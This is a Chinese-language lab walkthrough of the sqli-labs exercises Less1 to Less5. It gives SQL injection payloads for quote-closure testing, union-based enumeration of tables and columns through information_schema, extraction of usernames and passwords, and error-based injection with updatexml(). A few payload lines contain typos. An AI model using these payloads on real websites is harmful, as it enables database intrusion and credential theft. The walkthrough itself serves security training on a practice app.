Less1
尝试在url中添加单引号 ?id=1’,如果页面报错则源码提前闭合
添加–+注释后面的代码,显示恢复正常,说明将id字段后多出的单引号给注释掉了
使用order by查取字段数,可以使用二分查找法,这样对于数值较大的数更快定位
第四列报错
第三列正常回显
得知字段数为3,接着使用联合查询union select 1,2,3
发现并没有显示其他信息,这是因为在源码中只取数据表中的第一行,那么让第一行查询为空即可
把id的值改为-1,跳过表中第一行的查询 原理是程序只返回一个结果,这里让union前的语句出错从而实现期望的查询结果
可以使用数据库自带的函数进行查询 将2更改为database()
查security库下有哪些表
group_concat(table_name) from information_schema.tables where table_schema=’security’
group_concat(table_name)将table_name一并显示
information_schema囊括了MySQL中所有的数据库,通过它可以访问数据,而tables则是该库下的一个表,其包含了所有表和表所属的数据库 table_schema表示数据库名
table_name 表名
group_concat(column_name) from information_schema.columns where table_schema=’users’
columns存储MySQL中所有表的字段类型
其中users包括id、用户、密码字段
group_concat(username , password) from users
获取users表下的数据 如果要更清楚的话写两个group_concat并置放不同的参数即可
也可以用group_concat(concat_ws(‘:’,username,password))拼接用户名和密码
Less2
首先判断注入类型
在url中依次输入id=1 and 1=1 id=1 and 1=2 前者用于判断源码中语句逻辑判断是否有误,后者如若报错则逻辑判断为假
回显异常,为数字型注入
若是字符型注入则会把所有and语句转为为字符串,无逻辑上的判断
后续步骤相同
Less1与Less2的区别即注入类型上的不同 字符型添加单引号可以将后续语句注释,数字型注释掉仍无法恢复
Less3
判断输入类型
输入id=1’回显报错
输入id=1",回显正常
输入逻辑判断,回显正常
根据报错信息得出为’)闭合
回显正常
后续步骤同Less1
Less4
同理,闭合为")
Less5
为单引号闭合
使用联合查询仍是默认界面
这里使用报错注入 -> updatexml()- - -updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。
因为该页面只有报错的时候才会在页面显示数据
concat()函数用于拼接字符串
updatexml(1,concat(database()),3),查出数据库名称
updatexml(1,concat(“~”,(select group_concat(table_name) from information_schema.tables where table_schema = ‘security’)),3)
获取数据表名
select group_concat(column_name) from information_schema,columns where table_schema = ‘security’ and table_name = ‘users’
查看users表名的字段